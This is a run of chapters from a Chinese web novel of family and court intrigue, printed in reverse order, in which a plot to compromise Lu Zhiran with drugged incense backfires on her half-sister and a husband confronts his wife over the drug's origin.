叶寒衣突然道:“那令姐呢?你打算如何?” 邢初雪道:“自然是送回邢家,交由爹娘处置。” 叶寒衣微微蹙眉,“她抢你的夫婿,或许还要害你性命,你就这么轻易放过她?” 邢初雪瞪大了眼,不可置信,“她怎会害我性命?” 叶寒衣淡声问:“你知道什么人最能保守秘密吗?” 邢初雪不语。 叶寒衣自顾自地道:“死人。” 邢初雪身子一个哆嗦。 “她一旦入了安王府,站稳了脚跟,必然会生出顾虑,担心你的存在会威胁到她的地位。只有死人,才能真正做到守口如瓶。你死了,就没人能揭穿她。” 邢初雪面色惨白了几分。 她下意识摇头,“不,不可能的,这,怎么可能?我们毕竟是亲姐妹!” 叶寒衣笑她单纯,“令姐能做出换嫁之事,可见其自私自利,品性堪忧。这样的人,底线在哪里?她做这些的时候,就没把你当成亲姐妹。你对她手下留情,日后只会遭到对方更加猛烈的反攻。” 她自幼跟在父亲和祖父身边,学习他们的带兵和御下之术。 不要把人性想得太过美好,也不要对敌人太过仁慈,这是他们教会她的一条金科玉律。 陆知苒不禁看向叶寒衣,再次对她生出刮目相看来。 对待敌人的仁慈,就是对待自己的残忍。 上辈子她便吃够了苦头,这辈子才有所成长。 而叶寒衣,看似大大咧咧,却粗中有细,对任何事,她心中都有一杆秤。 叶家当真了不得,能教出这样优秀的后辈来。 邢初雪依旧不愿相信,“父亲母亲不会让她这么做的!” 她也是他们的女儿,他们不可能对她这么狠心绝情。 叶寒衣看着她,认真地道:“假若此事无人发现,令姐成功李代桃僵,一开始,令尊和令慈或许会对你心存愧疚。但如果令姐巧舌如簧,一再怂恿煽动,难保令尊不会为了保守这个秘密而做出其他选择。毕竟,在整个家族的未来面前,一个女儿的生死,的确不值一提。” 这话说得残忍直白,但却是很有可能发生的事实。 任何感情都禁不起考验。 陆知苒也开了口,“我觉得寒衣说得很对,令姐从最开始谋划这件事,只怕就已经对你生了杀心。” 邢初雪已经接受了自己被姐姐换嫁的事实,现在,又要接受自己要被家人联合灭口的可能,这个打击于她而言实在太大,她心头翻涌着一阵强烈的情绪,久久难以平复。 好半晌,她才终于恢复平静,这一刻,她的眸底多了一丝不一样的情绪。 她不再似之前那个天真单纯,不谙世事,她已经蜕变成长了。 沉默许久,她终于开了口。 “就算如此,我也不会杀她。我不想让自己也变成她那样,冰冷残酷,毫无人性。但从今以后,我也不会再把她当成姐妹,她若再敢算计我,下一次,我定然不会再对她手下留情。” 叶寒衣和陆知苒听此,便不再多言。 她们尊重她的选择。 这样的她,也才是真正的她。 这就是她与邢初樱不同的地方,若她也变成了邢初樱那样,才是叫人觉得陌生和可怕了。 霜华偷来了一身丫鬟的衣裳让邢初雪换上,又给她的脸上涂抹一番,她便跟在陆知苒和叶寒衣身后,光明正大地离开了邢家,往安王府而去。 而这一头,新娘子已经到了安王府,与安王完成了拜堂礼,送入了洞房。 喜房中,安王萧晏珩用喜秤挑开了新娘子的盖头。 第115章 不要消耗我对你的信任 “休要顾左右而言他,你到底有没有做过这件事?” 楚翊安回避的态度,越发让赵书宁笃定心中的猜测,她的心彻底冷了下去。 “没有!此事与我无关,我还不屑用那番下作的手段。” “那这药你要如何解释?” 赵书宁一口咬定,“兴许只是瓶子一样罢了,有心人想要设计陷害我,自然能做到以假乱真。” “我方才检查过,里面的药粉气味和形态亦是一模一样。” 且都有十分强的催情功效,他不过是打开闻了闻,身体很快就躁动起来。 赵书宁依旧矢口否认,“你不通医理,光凭味道和形态如何能分辨得出来?有心人既然想陷害我,在这些表面功夫上自然会做得天衣无缝。” 楚翊安冷冷道:“那我这便拿到太医院,请蒋老太医亲自查验,他老人家医术高超,定不会轻易受蒙蔽。只是不知,你敢不敢?” 赵书宁的脸色再次凝滞,一股恼意袭上心头,“说来说去,你就是相信旁人,不愿相信我!” “我不相信任何人,只相信证据。” 楚翊安逼近她几分,“我再问你一遍,此事,究竟是不是你所为?” 赵书宁张嘴就想否认,楚翊安沉沉道:“不要一再消耗我对你的信任。” 以前,他是无论如何都不会怀疑赵书宁的。 她心地善良,对待病人温柔细致,怎会出手害人? 但后来发生的一桩桩一件件,让他慢慢看清了她的本质。 她自私狭隘,为达目的,可以不择手段,她骨子里,还透着股不受道德束缚的恶毒与狠劲。 对于她,楚翊安已经失去了基本的信任。 对上他那沉沉的目光,赵书宁心头莫名一慌。 信任一旦坍塌,要想重新建立起来,难如登天。 她深吸了一口气,“此事的确不是我做的,我只是刚巧知道些内情罢了。” 楚翊安看着她,等着她继续。 赵书宁缓缓开口,“我的确曾经赠出过一瓶药,但却并非我本意,而是对方主动开口讨要。” “谁?” “李贵妃。” 楚翊安眉峰微动。 赵书宁面不改色,“陆知苒上了瑾王的船,注定会成为六皇子一派的眼中钉。李贵妃要对付陆知苒,是迟早的事。” 她也不算说谎,此事的确是李贵妃授意。 楚翊安反问,“李贵妃要除掉她易如反掌,又何必采用这般迂回的手段?” 赵书宁摇了摇头,“李贵妃的目的不是除掉她,而是要掌控她,将她的产业占为己有。” 楚翊安心头一震。 六皇子野心勃勃,对那个位置势在必得。 历代帝王的登顶路,都是用金钱和鲜血铺就的。 陆知苒身怀巨富,的确引人垂涎。 这就说得通了。 赵书宁看着楚翊安的面色,知道他把自己的话听进去了。 “你现在应当相信我的清白了吧?” 楚翊安的神色淡了下去,“你对此事知道得一清二楚,还敢说自己是清白的?” 赵书宁十分恼怒,“你还不信我!我说了,此事是李贵妃授意!” “就算此事是李贵妃授意,你也绝对不无辜,别把自己撇得那么干净。” 他眼底的冷漠让赵书宁心头发寒。 楚翊安眼底闪过一抹嫌恶,“你什么时候变成这样,陌生得我都快不认识了!你真恶毒。” 这话狠狠在赵书宁的心口上扎了一刀,扎得她遍体生寒。 “是,我的确不无辜,但你觉得陆知苒又是什么善男信女?这场算计本是针对她,可最后如何?她不仅识破了计谋,还反手算计了自己妹妹一把,她才是真正的恶毒。可笑的是,你还在这里为她抱不平。” 楚翊安脸色微凝。 “你也不想想,我做这些都是为了谁?侯府的处境艰难,我好不容易得了李贵妃几分看重,她吩咐之事我岂有拒绝的余地?” “又想得到六皇子的重用,又要顾及所谓的名声,世上哪来这么便宜的事?你清高,你善良,那你就做好侯府沦为末流世家的准备吧!” 赵书宁言辞犀利,如同一记重锤,狠狠砸在楚翊安的心头。 他本是来向赵书宁兴师问罪的,到头来,自己反倒被她嘲讽奚落,他如何咽得下这口气? “别把自己标榜得这般伟大,你做这些先是为了你自己,之后才是为了侯府。” 赵书宁昂起头,冷冷地看着她,“这有什么问题?我先是我,才是侯府的少夫人。我已经傻乎乎地上过两次当,不会再那么傻,把自己所有的一切都掏心掏肺地贴补出来。不然到头来落得个一场空,也无人会心疼怜惜我。” 楚翊安知道她说的是给清儿买头面和出银子办酒席之事,他一时面上更加难堪。 空气中有什么东西绷得越来越紧,稍一用力,就要彻底绷断了。 最终,还是赵书宁主动低头。 “翊安,有人把这些东西送到你跟前,便是为了挑拨离间,我们若当真生了嫌隙,就中了对方的诡计了。是,我承认我的确没有那么善良,为达目的我会不择手段。但无论如何,我都不会害你、害侯府,因为我们是一体的,这一点永远不会变。” 她没有说假话,在京城,她举目无亲,唯有侯府可以依靠。 他们是一体的,这也是她会低头的原因。 她主动给对方递了台阶,楚翊安紧绷的面色这才稍稍缓解。 他知道,赵书宁做得没有错,这一切都是为了侯府的未来,但内心深处却有一道声音告诉自己,她变了,变得面目全非了,他们之间变成了利益的捆绑,再没了当初为爱不顾一切的冲动。 楚翊安离开了青黛阁,碧莹这才小心翼翼地进了房间。 “少夫人,您没事吧?” 赵书宁面上神色冷淡,“无事。” 碧莹愤愤不平,“大少爷太过分了,半点都不念着您的好,反而一直惦记前头那位,以前明明不是这样的。” 赵书宁唇角浮起嘲讽,“早该料到的。” 以前他能对陆知苒那般忘恩负义,又怎么能奢望他对自己例外呢? 女人,总是对自己怀抱不切实际的幻想,以为自己是特别的那一个,而现实会教她认清一切。 第114章 你果然对她余情未了 陆贯轩沉声,“你当真要嫁到姜家?” 陆映溪眸底闪过一抹决绝,“我嫁!” 那姜星熠虽然纨绔之名在外,但长得还算顺眼,自己嫁过去之后,好生调教,定能把他掰过来。 “好,这是你自己选的,希望你以后不要后悔。” 陆映溪双拳紧握,脸上神色绷得紧紧的,“我不会后悔的!” 她像是在回答陆贯轩,也像是在告诉自己。 她定然不会后悔。 一场闹剧,终于落下帷幕,天空也慢慢泛起了鱼肚白。 原本两家人都打算多住几日,经这么一番折腾,大家都没了礼佛的心思,当下就命丫鬟收拾行李,打道回府了。 陆知苒亲自去与萧宝珠道别,“方才多谢公主替我出手教训那畜生。” 萧宝珠摆摆手,“小事一桩。” 姜星熠那样的无耻好色之徒,的确该打,打废了才好。 不过…… “你妹妹脑子有坑吧,你一心替她打算,她非但不领情,还自己往火坑里跳。我都要怀疑她是不是早与姜星熠那厮有私情了。” 陆知苒淡淡一笑,“我们姐妹之间罅隙颇深,只要是我提出的,哪怕对她来说是最优的选择,她也不会听从。” 萧宝珠精准吐槽,“有病。” “还有你说的背后之人……你知道是谁吗?难道就这样放过她了?” 萧宝珠犹犹豫豫地问出。 这是人家的私事,她其实不便开口询问,但又忍不住为陆知苒担心。 她从小在深宫中长大,又怎么会猜不到,这本是一场有意针对陆知苒的局呢。即便陆知苒逃脱掉了,但背后之人显然也没有得到惩罚。 陆知苒知道她的担忧,朝她温和一笑,“不用担心,不管是谁,她都讨不了好,我也不会让她伤害到我。” 赵书宁此次确实可以全身而退,但恶心人的事情,赵书宁会做,她又怎么不会? 楚翊安,可欠着自己一个大人情了! …… 全身而退的赵书宁无暇他顾,她不知道陆知苒的算计,也不知道此刻,门房交给楚翊安一个包裹。 事情办砸了,她一回到侯府,便马不停蹄地入了宫,第一时间向李贵妃请罪。 幸好老天也站在她那边,她刚到贵妃宫中,就有其他宫妃突发疾病,到李贵妃处借人,赵书宁领命前去医治,解决了急症。 那宫妃对李贵妃感恩戴德,李贵妃觉得面上有光,这才对她缓和了神色。 赵书宁趁机表态,李贵妃让她给谁诊治,她便给谁诊治,李贵妃吩咐要诊治到什么地步,她便诊治到什么地步,她就是李贵妃手里的一把刀,指哪打哪儿。 李贵妃觉得她识时务,这才揭过此事,不再怪罪。 夕阳余晖洒下,赵书宁拖着疲惫的身子出宫回府。 回到青黛阁,发现楚翊安竟然在。 碧莹笑着道:“大少爷在这儿等了您大半日了。” 赵书宁闻言,脸上露出笑来,一日的疲累也一扫而空。 碧莹识趣地退下,给二人留下独处空间。 赵书宁扬起笑意进了房间,但入目却是桌上摆着的熟悉的小瓷瓶,她脸色骤然大变。 快步上前,一把夺过,神色失态,“你怎么能随便乱动我的东西?” 楚翊安眼神意味不明,“怎么,你的这些东西见不得人?” 赵书宁面色微僵,她也意识到自己反应过激了。 楚翊安语气听不出喜怒,“说说,这是什么东西?” 赵书宁支支吾吾,“这,这其实是,是……是我为我们二人调配的助兴之药。” 说完,她露出一抹羞涩忸怩之态,面上也泛起绯红。 “这段时日,你对我不如以往,我心里不安,这才想了这法子,但我还没有用过,我怕你觉得我不知廉耻,满脑子只想着那等事。” 她低下了头,一副无地自容的模样。 若是以往,楚翊安定然被她糊弄过去,甚至还会因她对自己的满腔痴情而感动。 但现在,楚翊安内心只余一片冷意。 他缓缓开口,“这药是你自己亲手调配的?” 赵书宁羞怯地咬唇,点了点头。 “旁人都拿不到?” 赵书宁再次点头。 “你也未曾赠与过旁人?” 赵书宁谎话说得眼睛都不眨,“这等羞人的东西,我怎会赠与旁人?” 楚翊安眸中已经冷得彻骨。 他伸手入怀,又拿出了一个一模一样的瓷瓶,放在了桌上。 “那你解释一下,这是什么?” 赵书宁心头漏跳一拍,不动声色地问,“这是哪儿来的?你方才从我匣子里拿了几瓶?” 楚翊安不欲与她再兜圈子,“这是有人送到我手里的,对方说,这是你亲手相赠的药,可你却说自己不曾赠与旁人,这是怎么一回事?” 这番质问让赵书宁有一瞬间的慌乱。 好个陆映溪,竟在背后捅自己一刀。 “翊安,你相信别人也不愿相信我?这等房中密药,我怎会随便赠与旁人?” 楚翊安看着她的目光依旧满含怀疑,“可你方才也说了,此药乃出自你的独门配方,只有你能调配出来,我在你屋中,也找到了一瓶一模一样的。” “更有意思的是,对方还给我送来了一个熏香炉鼎,那里面便加了这种迷情散。那个熏香炉鼎,赫然是慈光寺的样式。这你又要如何解释?” 赵书宁面色变得十分难看,“你是什么意思?怀疑我指使人在陆知苒的房里下迷香?” “这话我可没说,你为何就能联想到陆知苒的身上?莫非你是心虚了?” “你方才那意思,与直说又有何区别?你分明就是在怀疑我!” 楚翊安冷冷地看着她,“难道你不值得怀疑吗?证据摆在眼前,她的房间里下的媚药就是出自你之手!若非阴差阳错,而今要嫁入姜家的人就是她了!” 楚翊安不是傻子,看到这些证据,他脑中已经迅速串联起了整件事的来龙去脉。 除了赵书宁,没人有能力,有动机去做这件事。 姜星熠是什么人?她竟设计让姜星熠染指陆知苒,她把他耍得团团转,将他的颜面置于何地? 赵书宁听了这话,一股怒意直冲脑顶,“事到如今,你竟还能为了她对我发难!你果然对她余情未了!” 第113章 火坑我也要跳 陆知苒满脸冤枉,“母亲这话是何意?莫非怀疑此事是我所为?我们是血脉相连的亲姐妹,妹妹名声毁了,于我而言有什么好处?” 方氏紧抓着不放,“那溪儿怎会在你的房间里?” “这我如何得知?母亲应该去问妹妹才是。” 方氏气得面容扭曲,却抓不到陆知苒半点把柄。 姜氏眼珠子转了转,“不管此事前因如何,事情已然发生,你们若实在咽不下这口气,定要报官,我也不会横加阻拦。但你们想清楚了,一旦报官,此事闹得人尽皆知,陆二小姐的名声可就彻底没了挽回的余地了。” 这是把陆映溪的名声死死拿捏住了。 方氏捂着发疼的心口,连骂人的力气都没了。 陆贯轩沉着脸,一语不发。 姜氏又道:“此事动静闹得那么大,想瞒也瞒不住,与其两家撕破脸,让人看了笑话,不如来个亲上加亲,如此,也能全了两家的颜面不是。陆大人,你素来会权衡轻重,不会连这点利弊得失都看不清楚吧?” 陆贯轩的面色几番交错,眸色也一片幽深。 方氏见此,心中生出了不妙的预感。 “老爷,不可啊!这畜生根本不是个好东西,溪儿若真的嫁给他,以后定然不会有好日子过,她的未来就毁了啊!” 想起方才这蠢妇的态度,陆贯轩冷笑。 “刚才你可是巴不得苒姐儿嫁到姜家去,怎么,到了溪儿身上,你就完全变了态度?我本以为你待苒姐儿视如己出,这么多年,我倒是看错你了!” 方氏狠狠一噎。 伪善的面具已经撕碎,她也再没有装下去的必要。 “她是洛氏生的孩子!若我与别的男人生了孩子,老爷能视如己出吗?” “身为女子当贤良大度……” “骗人的鬼话!你们男人都做不到的事情,凭什么要求女人做到?” 方氏疯魔般嘶吼着,双目赤红。 “溪儿是我唯一的女儿,无论如何,我都不同意她嫁进姜家!” 陆贯轩气得胸口上下起伏,“不嫁还能如何?当真削了头发当姑子去?她就算豁得出去,我也丢不起这个脸!” 他又哪里瞧得上姜星熠?姜家能给他的仕途提供什么助益?真要把溪儿嫁过去,就是白白浪费了一次联姻获取助力的好机会! 但事已至此,哪儿还有旁的路可走? 此事势必瞒不住,若不把人嫁过去,全了名声,以后他就休想在同僚面前抬起头来。 方氏一时悲从中来,眼泪簌簌往下掉。 陆知苒开口提议,“父亲,不若将妹妹送走吧。” 方氏闻言,立马满脸警惕地看着她。 “你又在打什么算盘?” 陆知苒一脸诚恳,“母亲,虽然你对我有芥蒂,但我都是为了妹妹好。眼下局面,妹妹不适合继续留在京城了。我们把妹妹送出京,送到江南去,再替她寻个商贾人家,她是京中的官小姐,低嫁商贾,定然也能过得不错。再怎样,也比嫁进姜家强。” 她的这番话真心实意,也的确是目前陆映溪最好的一条出路。 方氏动心了。 只是,陆知苒怎会这般好心,主动为溪儿出谋划策? 她正欲开口,陆映溪猛地从屋子里冲了出来,状若癫狂地高声尖叫。 “我不走,我死也要死在京城,我不要走!” 她现在走了,大家会怎么议论她?怎么笑话她? 她痛恨的人,富贵加身,扶摇直上,自己却只落得个远走他乡的下场,她如何甘心? 她再傻,也知道今日是被陆知苒给算计了! 今日这个仇,她若不亲手报了,便是死也不会瞑目! 方氏搂着她,失声痛哭,“娘亲又哪里舍得你走?可你不走,京中的流言蜚语你受不住的啊。” 陆映溪双眸淬了毒,死死盯着陆知苒。 “一想到害我的仇人还好好的,再大的苦难,就都能忍得下去了。” “溪儿,你告诉娘亲,你是怎么到她的房间的?你如实说出来,娘亲定会替你讨回公道!” 陆映溪恍惚摇头,“我没有印象。” 陆知苒看她,“事到如今,你还要继续隐瞒,包庇害你的人吗?” 陆映溪恶狠狠地啐她,“你别一副假惺惺的模样,这一切分明就是你做的!” 陆知苒定定地看着她,“你怀疑我,究竟是因为真的有确凿证据,还是因为对我的偏见?你好好想想,这件事究竟是什么人在背后操控?” “而今,你出事,我们姐妹二人反目,陆家名声受损,谁才是真正的获利之人?不要被人利用了,还傻乎乎地替人兜着。” 这话让陆映溪愣住,方氏眸底亦是闪过一抹厉色。 两人立马看向了赵书宁。 赵书宁心头微紧,但很快就镇定下来。 陆知苒想挑拨离间,没那么容易。 陆映溪和方氏不可能把她供出去,因为那样,她们自己也洗不清。 她算计得没错,她们不敢,且不说她们担不起设计污了县主清白的罪名,赵书宁背靠的是李贵妃,她们一时也动不得她。 方氏很后悔,早知如此,当初她无论如何都该劝溪儿莫轻易出手。 这就像一根刺,狠狠的扎在了方氏心头。 两人都没说话。 陆知苒幽幽叹息,“看来妹妹是宁愿嫁到姜家这个火坑,也不愿说出背后之人啊。” “你少在那里疯言疯语。”陆映溪发了狠,决绝道:“姜家就算是火坑我也要跳!” 出了这样的事,陆家已经没了她的容身之地。 她很清楚,父亲不可能为了她牺牲整个陆家的名誉。 事已至此,她还有什么豁不出去的? 与其窝窝囊囊地嫁个身份低微的商贾,不如将错就错,留在京城。 老天爷不可能每次都站在陆知苒那边,自己定能找到机会狠狠报复回去! 陆知苒微微垂眸,掩去眸底的淡笑。 若是方氏提出让陆映溪先离开京城,陆映溪或许会答应。 但这提议是自己率先提出的,陆映溪非但不会听从,反而会激起她的逆反心理。 陆知苒要的就是这个效果。 她怎能让陆映溪远走嫁人呢?那样太便宜她了。 从她把那只罪恶的手伸出来之时,她就不可能让她的未来再有光明。 第112章 厢房里的人是谁? 姜星熠被骂得面容扭曲,“谁?谁敢骂老子?她是县主又如何,被我睡了,就得乖乖嫁给我!不然就是臭鞋,烂货!” 曾经仰望的女神,终于臣服于他身下,这是他能吹嘘一辈子的资本,他恨不得宣扬得人尽皆知,自然不会顾及陆知苒的名声。 “胆敢污蔑县主名声,来人,把那狗男人的嘴巴打烂!” 立马有侍卫从门外冲进来,抡起巴掌就啪啪打了起来。 姜星熠像小鸡仔似的被按着打,毫无招架之力。 没几下,他就被打得眼冒金星,两颊肿胀,嘴角流血。 姜氏心疼得不得了,她也觉得里面的人就是陆知苒。 “住,住手!你们是什么人,敢随随便便动手打人?熠哥儿说的本来就是实话,陆知苒行为不检点,本就……” 刚刚说话之人从门外进来,姜氏的话一下卡在了嗓子眼,其余众人的眼珠子也险些瞪了出来。 来人赫然是九公主萧宝珠,而与她相携而来的,便是今夜的话题中心人物,平乐县主陆知苒! 楚翊安眸色骤然一深,方才那股汹涌的怒意瞬间消散,炸毛的情绪也一下被抚得平平整整。 原来,厢房里的人真的不是她,她并未与姜星熠私通。 那厢房里的人是谁? 姜氏懵了,楚云清傻了,赵书宁呆了,方氏破防了! 方氏的脸上彻底失去了血色,一个可怕的猜想忽然浮起在脑海。 楚云清恶狠狠地盯着陆知苒,“你怎么会在这里?你不是应该在房间里吗?方才与表哥私会的人不是你?” 萧宝珠神色一厉,“楚大小姐,如此含血喷人,你也想被掌嘴吗?” 楚云清立马捂着脸,接连后退。 姜星熠的惨状历历在目,她可不想重蹈覆辙! 然而她不甘心,冲进了房间里。 “陆映溪!竟然真的是你!” 听得她的惊呼声,猜想变成了现实,方氏两眼一翻,险些晕过去。 竟真的是她的溪儿!事情为什么会变成这样? 是陆知苒,定是陆知苒害的!那个该死的贱人,跟她那娘亲一样该死! 陆贯轩也是一口老血险些吐出来。 怎么兜兜转转,不是他的大女儿,就是他的二女儿! 陆映溪一把推开楚云清,慌乱地伸手扒拉头发,把自己的脸严严实实地遮起来,语无伦次,“不,不是我,不是我,我不是陆映溪,我,我是陆知苒,应该是陆知苒的,明明该是陆知苒的……” 而在陆知苒从院外走进来的那一刻,赵书宁就知道这次自己又失败了。 她精心设了这场局,竟然又被陆知苒逃脱了。 她是怎么发现的? 定是陆映溪,定是那个蠢货泄了密,才被对方反算计了。 她心思百转,悄无声息走到姜氏身边,低声耳语。 “母亲,陆氏姐妹不合,表兄若娶了陆二小姐,我们便多了一个可以联合对付陆知苒的帮手。此事有益无害。” 此次让陆知苒侥幸逃过一劫,赵书宁十分不甘,她已经开始为下一步行动做筹谋。 这门亲事,必须促成。 姜氏心念微动,不禁看了赵书宁一眼。 赵书宁很快退离,面上不见半分异色,好似方才自己什么都没说。 姜氏走到姜星熠身侧,低声说了几句什么,姜星熠立马开口。 “原是陆二小姐,我既不小心轻薄了她,那就该对她负责,陆大人,明日我定会遣媒人登门,向贵府二小姐下聘。” 娶不了陆知苒,娶了她妹妹也是一桩稳赚不赔的买卖。 近水楼台,以后说不定还能找机会对陆知苒下手呢。 姜氏笑着附和,“既然事情已经发生,总要好好解决,这场误会,若能以结亲作为收尾,也算是好事一桩。” 方氏气得身子都在抖。 她的女儿,再不济也能寻个清流人家,姜家算个什么东西?这姜星熠又是个什么玩意儿? “想娶我女儿,你做梦!” 方才姜星熠那番丑态毕现,方氏看着只觉解气,因为那些折辱都是冲着陆知苒去的。 但现在,这一切都落在了自己女儿身上,方氏觉得天都要塌了。 这么个无耻好色之徒,怎么配得上自己女儿?简直痴心妄想! 姜星熠将刚刚的无赖话再次说了一遍:“我们已经有了肌肤之亲,她不嫁给我还能嫁给谁?不嫁给我也行啊,那就剃了头发到庙里当姑子去。” 方氏的面容狠狠一抖,心痛到无以复加。 这时,陆知苒开了口。 “这登徒子潜入女眷厢房,对妹妹行不轨之事,实乃罪大恶极,合该报官,交由官府处置。若我没记错的话,依照律例,此等行径,该被判鞭五十,服劳役五年。来人,把他抓起来。” 姜星熠勃然变色。 鞭五十,服劳役五年,这般重罚,他如何承受得了?那简直是要了他的命! 这个女人还是一如既往地狠! 姜氏也变了脸色。 熠哥儿是兄长唯一的嫡子,他若被送去见了官,姜家怎么办? 没曾想,第一个跳出来反对的竟是陆贯轩和方氏。 陆贯轩:“住手!” 方氏:“不能见官!” 陆知苒一脸不解地看着二人,“父亲,母亲,这样的畜生,不给他一点教训,以后他怕是要继续祸害旁的女子。妹妹受了这般欺辱,不报官,难道真的要嫁给他不成?” 这话狠狠戳了方氏的心窝,她喉头涌起一股腥甜。 把人嫁给这畜生,方氏自然千百个不愿意。 但报官的话,此事就会彻底闹大,溪儿以后还怎么抬头做人?她便是想寻一户人家低嫁都不行。 陆贯轩则是更担心自己在外的名声。 大女儿和离归家,小女儿更离谱,婚前就被人毁了清白,再闹到公堂上,岂不是全京城都知道了?他的脸还要不要了? 方氏怨毒地看着陆知苒,“你妹妹已经受了一次伤害,你还要让她到公堂之上接受众人的审判,你安的什么心?你是盼着她死不成?” 陆知苒一副受伤的模样,“母亲,妹妹是受害者,她若不站出来,就只能反过来受加害者的胁迫,她的人生才是真的毁了。” 方氏根本听不进去,“你住嘴!出事的不是你,你当然站着说话不腰疼!那畜生偷偷潜入的是你的房间,可你却偏巧不在,你妹妹本该在自己的房间,结果却在你的房间里出了事,这到底是怎么一回事?你难道半点责任都没有?” 第111章 也不撒泡尿照照自己 楚翊安想起入夜之时,自己在这小院前瞥见的那道熟悉人影,竟是他! 彼时,陆知苒也刚好出门,难道,二人是约好了的? 姜氏从方才的不确定,变成了震惊与凌乱。 万万没想到,捉奸竟会捉到自家侄儿的头上来。 “熠哥儿,你,你怎会在此?你简直……” 姜星熠眸光闪烁,支支吾吾。 陆贯轩气得手都在抖,“好啊,我算是看明白了,这分明就是你们联合起来设的一个局!这畜生是姜家的人,他把我女儿的清白毁了,你们楚家人又故意宣扬,就是为了坐实此事,好叫我女儿不得不嫁给他,还给你们楚家做钱袋子!你们可真是好谋算!” 赵书宁眼眸闪了闪。 这话说到了点子上,此局可不就是为了让陆知苒嫁给姜星熠,为己所用吗? 姜星熠是姜氏的侄儿,把她嫁到姜氏的娘家,不仅能羞辱她,折磨她,还能掌控她。 这才是最大的报复。 方才还气势汹汹的姜氏,这会儿倒是哑口了。 自己侄儿是个什么品性,她比谁都清楚。 只怕这多半是他做出来的混账事。 但若非陆知苒一副勾人模样,熠哥儿怎会上钩? 正欲开口,没想到方氏自己就先拆了陆贯轩的台。 “老爷,正所谓一个巴掌拍不响,此事只怕苒姐儿也难脱干系。” 陆贯轩这下不止气得手抖,他气得心肝都疼了。 蠢妇,这个蠢妇! 姜氏立马附和,“陆夫人可算是说了句公道话,这事讲究的是你情我愿,熠哥儿还能强迫她不成?” 姜星熠也立马为自己辩解,“是她主动给我递话,今夜我才会来的,她还给我留了门。方才她比我还热情,一上来就扒我衣服……” 楚翊安听不下去了,挥起拳头就给了他一拳,姜星熠被打得眼冒金星,嘴角一下渗出血来。 姜氏惊叫着扑上去阻拦。 “安儿,你这是做什么?是那陆知苒行事放浪不知检点,你打你表兄做什么?” 楚翊安眸底淬了毒一般,“打的就是他这个不知死活的狗东西!” 那女人,在他面前时,总是一副冷若冰霜,拒人千里之外的模样,背地里,竟是如此放浪? 姜星熠这么个绣花枕头,哪里比自己强? 便是和离了,陆知苒也不该跟这样的人搅和在一起。 这让他的颜面何存? 赵书宁看着楚翊安这般失态的模样,胸中掀起阵阵巨浪。 原来,他还这般在意陆知苒!还会为了那女人争风吃醋到了这般地步。 姜星熠对上楚翊安那几欲吃人的目光,微微瑟缩了一下。 但想到自己已然得手,很快就能抱得美人归,他又挺直了腰杆,“你与她已经和离,管我们作甚?莫非你还对她旧情未了?” 楚翊安立马反驳,“你胡说八道什么?我岂会对她那样水性杨花的女人余情未了?” “那你有什么好激动的?我们的事与你何干?” 楚翊安面色微滞,旋即冷笑,“你们这般不知廉耻,在我出征的三年,是不是早就勾搭在了一处?” 姜星熠眼底闪过一抹阴霾。 他倒是想勾搭,但那女人假清高,还烈性得很,自己半点便宜没占到,还险些被踢废了。 他的沉默落在楚翊安的眼里成了默认,楚翊安又炸了。 “你们这对奸夫淫妇,当真是欺人太甚!” 姜星熠干脆把戏做足,大言不惭地道:“是她主动勾引的我。她一介二嫁之身,本是没资格进我姜家的门,但我们既有了夫妻之实,我便勉为其难地接纳她,只是日后,她需得好生在内宅中侍奉公婆,万不能再在外头抛头露面地经商。” 这番话,俨然已经把陆知苒视作自己的房中人。 陆贯轩气得想上前扇他几个耳光。 “你,你算个什么东西,一个一无是处的白身,还是个鳏夫,也配对我女儿挑挑拣拣?” 姜星熠半点没把陆贯轩放在眼里,“她本就是二嫁之身,现在又与我有了肌肤之亲,她不嫁我,还能嫁给谁?她这样的名声传出去,哪怕她是皇上亲封的县主,也没人敢要,只能剃了头发当姑子去。” “你……” 方氏幽幽道:“老爷,事已至此,唯有将错就错这一条路可走。不然,您的名声,陆家的名声,就要一落千丈了!” 陆贯轩说不出反驳来。 他的仕途刚刚遭遇挫折,本对陆知苒寄予厚望,希望能借着皇上的看重和县主的身份拉拔自己一把。 没曾想,今夜却发生了这般变故。 好好的一把好牌,被她打得稀巴烂! 这个孽障,果然半点靠不住! 他气得心梗,方才被楚云清示意进去探看的秋月,忽然惊呼着从房中跑了出来,“小姐,屋子里的人好像不是平乐县主。” 此言一出,众人都愣住了。 陆贯轩心梗到一半,面上露出惊喜。 不是苒姐儿? 不是就好,不是就好! 菩萨保佑,他就说,他们陆家怎么会出这种丢人的事情! 他还庆幸着,甚至闭上眼感谢诸天神佛,然而下一瞬,秋月已经支支吾吾地道:“不是平乐县主,里面的人不是平乐县主,而是陆家的二小姐,陆映溪。” 陆贯轩惊喜的神色又立马僵住,脸上刚刚绽放的笑容比哭还难看。 “不可能!”方氏愣了一下,脸色瞬间白了,立马反驳。 楚云清大骂,“蠢货,这分明是陆知苒的厢房,里面的人怎么可能是陆映溪!她们是两姐妹,貌有相似,定是你认错了!” 秋月被骂得不敢再开口。 姜星熠不认识什么陆映溪,毫不避讳地高声嚷嚷,“怎么可能不是陆知苒?那蛮腰,那酥.胸,我一摸就知道是她!我要娶的是陆知苒,可不是什么阿猫阿狗,陆家可别想拿什么丫鬟糊弄我。” 这话粗俗又下流,陆贯轩和楚翊安气得额上青筋突突直跳,便是赵书宁几人也露出嫌恶。 这时,一道冷冽的声音从小院外传来。 “大胆!平乐县主岂是你这样的癞蛤蟆想娶就能娶的?也不撒泡尿照照自己!” 第110章 不知廉耻的荡妇 陆知苒害她方家遭了大难,让老爷跟她离了心,这次,她必让她付出更惨痛的代价! 赵书宁见外面根本没有人来,就猜到了方氏对她有防备! 好容易抓到机会把陆知苒踩到泥里,她本不想大事化小小事化了,但眼下也不能把方氏得罪狠了。 楚云清见外面没人,一时更加恼怒,“一定是陆知苒早早就把附近的人给遣散了,她可真是好算计,这对奸夫淫妇!” 她口不择言,陆贯轩被气坏了,“你们血口喷人,苒姐儿真想掩人耳目,怎么会在你们在时做这等事情!谁不知道是你们记恨苒姐儿,才故意往她身上泼脏水!” 楚云清立马反驳,“我们在外头闹出的动静如此大,屋子里却一直静悄悄的,毫无反应,这还不能说明问题吗?她分明就是心虚,躲着不敢出来。” 楚云清的话说到了众人心坎上。 赵书宁走到楚翊安跟前,“翊安,现在,你应当知道她是怎样的人了吧!她在外的好名声,全都是手底下的能人经营的,她不过动动嘴皮子,甚至连嘴皮子都不需要动。现在我们所看到的,才是她真正的秉性。” 她抓住任何机会,不遗余力地贬低陆知苒。 